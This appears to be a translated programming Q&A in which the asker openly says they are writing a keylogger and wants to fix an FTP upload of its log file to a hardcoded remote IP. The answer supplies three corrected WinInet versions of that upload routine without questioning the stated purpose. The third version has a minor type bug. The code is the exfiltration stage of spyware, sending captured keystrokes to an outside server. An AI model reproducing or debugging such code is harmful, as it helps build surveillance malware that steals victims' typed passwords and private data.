GetLastError()从FtpPutFile()返回错误6

时间:2019-10-28 22:40:58

标签: c++ upload

我正在为项目开发键盘记录程序。尝试通过FTP将日志上传到服务器时,GetLastError()FtpPutFile()返回6。我没有找到解决方案。我确实发现的一种解决方案是hint无效,但是我替换为0或NULL仍然得到相同的错误。

#pragma comment(lib, "Wininet.lib")
#include <Windows.h>
#include <iostream>
#include <WinInet.h>
#include <tchar.h>
using namespace std;

int  upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file\n";
        return 0;
    }

    HINTERNET hint = InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
    HINTERNET hftp = InternetConnect(hint, (LPCWSTR)site.c_str(), INTERNET_DEFAULT_FTP_PORT,
        (LPCWSTR) user.c_str(), (LPCWSTR)pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);

    if (!FtpPutFile(hftp, (LPCWSTR)file.c_str(), (LPCWSTR)"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        //cout << "FAIL!" << endl;
        cout << GetLastError() << endl;
    }
    else
    {
        cout << "file sended !";
    }

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);
    return 0;
} 

1 个答案:

答案 0 :(得分:0)

错误6为ERROR_INVALID_HANDLE。您不会在调用InternetOpen()之前检查InternetConnect()FtpPutFile()的返回值是否失败。

实际上,您正在向FtpPutFile()传递无效的句柄,因为它们实际上在失败,因为您的所有LPCWSTR类型转换都是错误的。您不能只是将char*的指针投射到wchar_t*并期望一切正常。删除类型转换并观看编译器,然后向您抱怨。这是有原因的。

您需要使用MultiByteToWideChar()(或同等功能)将char数据真正转换wchar_t,例如:

#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
#include <vector>
using namespace std;

#pragma comment(lib, "Wininet.lib")

wstring to_wstring(const string &s)
{
    int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), NULL, 0);
    if (len > 0)
    {
        vector<WCHAR> vec(len);
        MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), &vec[0], len);
        return wstring(&vec[0], len);
    }
    return wstring();
}

bool upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file" << endl;
        return false;
    }

    HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectW(hint, to_wstring(site).c_str(), INTERNET_DEFAULT_FTP_PORT, to_wstring(user).c_str(), to_wstring(pass).c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetConnect failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileW(hftp, to_wstring(file).c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
} 

或者,只需使用std::wstring开头,而不用完全使用std::string

#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
using namespace std;

#pragma comment(lib, "Wininet.lib")

bool upload()
{
    wstring file = L"C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    wstring site = L"142.93.169.69";
    wstring user = L"user";
    wstring pass = L"pass";

    if (!wifstream(file))
    {
        cout << "no file" << endl;
        return 0;
    }

    HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectW(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileW(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
} 

否则,如果要继续按原样使用std::string,则只需使用WinInet函数的ANSI版本:

#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
using namespace std;

#pragma comment(lib, "Wininet.lib")

bool upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file" << endl;
        return 0;
    }

    HINTERNET hint = InternetOpenA(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectA(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileA(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
}